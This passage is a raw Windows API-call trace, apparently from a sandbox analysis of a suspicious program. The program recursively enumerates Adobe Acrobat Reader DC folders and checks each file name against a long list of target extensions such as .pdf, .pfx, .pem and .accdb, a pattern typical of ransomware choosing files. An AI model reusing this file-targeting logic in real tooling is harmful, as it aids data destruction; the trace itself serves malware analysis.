(lpString=".pct") returned 4 [0274.027] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0274.027] lstrlenW (lpString=".pcx") returned 4 [0274.027] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0274.027] lstrlenW (lpString=".pdd") returned 4 [0274.027] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0274.028] lstrlenW (lpString=".pdf") returned 4 [0274.028] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0274.028] lstrlenW (lpString=".pdp") returned 4 [0274.028] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0274.028] lstrlenW (lpString=".pef") returned 4 [0274.028] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0274.028] lstrlenW (lpString=".pem") returned 4 [0274.028] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0274.028] lstrlenW (lpString=".pff") returned 4 [0274.028] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0274.028] lstrlenW (lpString=".pfm") returned 4 [0274.028] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0274.028] lstrlenW (lpString=".pfx") returned 4 [0274.028] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0274.028] lstrlenW (lpString=".pgm") returned 4 [0274.028] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0274.028] lstrlenW (lpString=".php") returned 4 [0274.028] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0274.028] lstrlenW (lpString=".php3") returned 5 [0274.028] lstrcmpiW (lpString1=".php3", lpString2="s.png") returned -1 [0274.028] lstrlenW (lpString=".php4") returned 5 [0274.028] lstrcmpiW (lpString1=".php4", lpString2="s.png") returned -1 [0274.028] lstrlenW (lpString=".php5") returned 5 [0274.028] lstrcmpiW (lpString1=".php5", lpString2="s.png") returned -1 [0274.028] lstrlenW (lpString=".phtml") returned 6 [0274.028] lstrcmpiW (lpString1=".phtml", lpString2="ns.png") returned -1 [0274.028] lstrlenW (lpString=".pict") returned 5 [0274.028] lstrcmpiW (lpString1=".pict", lpString2="s.png") returned -1 [0274.028] lstrlenW (lpString=".pl") returned 3 [0274.028] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0274.029] lstrlenW (lpString=".pls") returned 4 [0274.029] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0274.029] lstrlenW (lpString=".pm") returned 3 [0274.029] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0274.029] lstrlenW (lpString=".png") returned 4 [0274.029] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0274.029] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0274.029] lstrlenW (lpString="example_icons2x.png") returned 19 [0274.029] lstrlenW (lpString=".1cd") returned 4 [0274.029] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0274.029] lstrlenW (lpString=".3ds") returned 4 [0274.029] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0274.029] lstrlenW (lpString=".3fr") returned 4 [0274.029] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0274.029] lstrlenW (lpString=".3g2") returned 4 [0274.029] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0274.029] lstrlenW (lpString=".3gp") returned 4 [0274.029] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0274.029] lstrlenW (lpString=".7z") returned 3 [0274.029] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0274.029] lstrlenW (lpString=".accda") returned 6 [0274.029] lstrcmpiW (lpString1=".accda", lpString2="2x.png") returned -1 [0274.321] lstrlenW (lpString=".accdb") returned 6 [0274.321] lstrcmpiW (lpString1=".accdb", lpString2="2x.png") returned -1 [0274.321] lstrlenW (lpString=".accdc") returned 6 [0274.340] lstrcmpiW (lpString1=".accdc", lpString2="2x.png") returned -1 [0274.354] lstrlenW (lpString=".accde") returned 6 [0274.355] lstrcmpiW (lpString1=".accde", lpString2="2x.png") returned -1 [0274.355] lstrlenW (lpString=".accdt") returned 6 [0274.355] lstrcmpiW (lpString1=".accdt", lpString2="2x.png") returned -1 [0274.355] lstrlenW (lpString=".accdw") returned 6 [0274.355] lstrcmpiW (lpString1=".accdw", lpString2="2x.png") returned -1 [0274.355] lstrlenW (lpString=".adb") returned 4 [0274.355] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0274.355] lstrlenW (lpString=".adp") returned 4 [0274.355] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0274.355] lstrlenW (lpString=".ai") returned 3 [0274.355] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0274.355] lstrlenW (lpString=".ai3") returned 4 [0274.355] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0274.355] lstrlenW (lpString=".ai4") returned 4 [0274.355] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0274.355] lstrlenW (lpString=".ai5") returned 4 [0274.355] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0274.355] lstrlenW (lpString=".ai6") returned 4 [0274.355] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0274.355] lstrlenW (lpString=".ai7") returned 4 [0274.355] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0274.355] lstrlenW (lpString=".ai8") returned 4 [0274.355] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0274.355] lstrlenW (lpString=".anim") returned 5 [0274.355] lstrcmpiW (lpString1=".anim", lpString2="x.png") returned -1 [0274.355] lstrlenW (lpString=".arw") returned 4 [0274.356] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0274.356] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0274.356] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0274.356] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0274.356] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0274.356] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 0 [0274.357] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0274.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0274.358] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0274.358] FindClose (in: hFindFile=0x3315cf0 | out: hFindFile=0x3315cf0) returned 1 [0274.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.358] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0274.358] FindClose (in: hFindFile=0x3315b70 | out: hFindFile=0x3315b70) returned 1 [0274.358] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0274.358] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0274.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0274.358] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315af0 [0274.360] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.360] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nls", cAlternateFileName="")) returned 1 [0274.360] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0274.360] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33157f0 [0274.368] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.368] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0274.368] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.368] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ar-ae\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315770 [0274.370] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.370] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0274.370] FindClose (in: hFindFile=0x3315770 | out: hFindFile=0x3315770) returned 1 [0274.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.370] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0274.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.370] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156f0 [0274.371] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.371] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.371] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.372] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0274.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.372] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0274.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.372] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315cb0 [0274.372] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.372] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x473, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.373] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x473, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.373] FindClose (in: hFindFile=0x3315cb0 | out: hFindFile=0x3315cb0) returned 1 [0274.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.373] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0274.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.373] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0274.375] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.375] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.375] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.375] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0274.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, 